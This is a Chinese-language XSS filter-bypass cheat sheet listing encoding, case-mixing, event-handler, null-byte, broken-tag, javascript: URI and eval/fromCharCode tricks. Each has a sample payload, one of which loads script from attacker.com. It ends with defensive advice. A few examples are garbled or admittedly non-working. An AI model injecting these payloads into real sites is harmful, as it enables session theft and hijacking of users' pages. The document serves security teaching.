XSS(跨站脚本攻击)绕过方式多种多样,主要依赖于攻击者如何巧妙地绕过目标网站的安全措施。以下是一些常见的XSS绕过方法:
1. 编码绕过
- HTML实体编码:将特殊字符转换为HTML实体,如
<
转换为<
,>
转换为>
,以绕过文本过滤。 - URL编码:使用URL编码(如
%3Cscript%3E
表示<script>
)绕过过滤器。 - Unicode编码:使用Unicode编码(如
\u003Cscript\u003E
)绕过对特殊字符的过滤。 - Base64编码:将JavaScript代码进行Base64编码,然后在页面上解码执行。
2. 大小写混合
混合使用大写和小写字母来绕过对特定字符串的检查,如<ScRipT>alert('XSS')</ScRiPt>
。
3. 利用HTML元素属性
- 事件属性:通过HTML元素的事件处理器(如
onerror
、onmouseover
等)注入脚本,如<img src="x" onerror="alert('XSS')"/>
。 - 样式属性:通过CSS属性(如
background-image
)执行脚本,如<div style="background-image: url(javascript:alert('XSS'))"></div>
。
4. 利用HTML注释和特殊字符
- HTML注释:在脚本中添加HTML注释来混淆过滤器,如
<!--<script>alert('XSS')</script>-->
。 - 特殊字符:在关键词中插入特殊字符(如空字符
\0
)来绕过过滤,如<scr\0ipt>alert('XSS')</scr\0ipt>
。
5. 利用不完整的HTML标签
通过创建不完整的标签来混淆过滤器,如<scr<script>ipt>alert('XSS')</script>
。
6. 利用外部资源
- 外部脚本:通过外部文件引入脚本,如
<script src="http://attacker.com/xss.js"></script>
。 - iframe:通过
<iframe>
标签执行脚本,如<iframe src="javascript:alert('XSS');"></iframe>
。
7. 利用JavaScript特性
- JavaScript伪协议:通过
javascript:
伪协议执行脚本,如<a href="javascript:alert('XSS')">Click me</a>
。 - JavaScript编码:使用JavaScript的编码函数(如
String.fromCharCode
)混淆代码,如<script>alert(String.fromCharCode(88,83,83))</script>
。
8. 利用HTML5新特性
- HTML5元素:利用HTML5的新元素(如
<audio>
、<video>
)的事件属性执行脚本,如<audio src="x" onerror="alert('XSS')"/>
。
9. 利用浏览器容错机制
利用浏览器的容错机制来解析异常标签或属性,如使用不常见的标签名<xss>
尝试绕过简单的标签名过滤。
10. 绕过空格和换行符的限制
通过在代码中插入空格、换行符或制表符来绕过基于正则表达式的过滤,如<img src="x" onerror="alert('XSS')">
可以改写为<img src="x" on error="alert('XSS')">
(注意这里的空格和换行符仅为示例,实际效果取决于过滤器的具体实现)。
11. 字符拼接和动态执行
利用JavaScript的字符串拼接和动态执行功能来绕过过滤,如<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
。
注意事项
- 每种绕过方法的有效性都取决于目标网站的具体安全配置和过滤器的实现细节。
- 攻击者应始终遵守法律和道德准则,不得利用XSS攻击进行非法活动。
- 防御XSS攻击的最佳实践是实施严格的输入验证和输出编码,以及使用内容安全策略(CSP)等安全措施。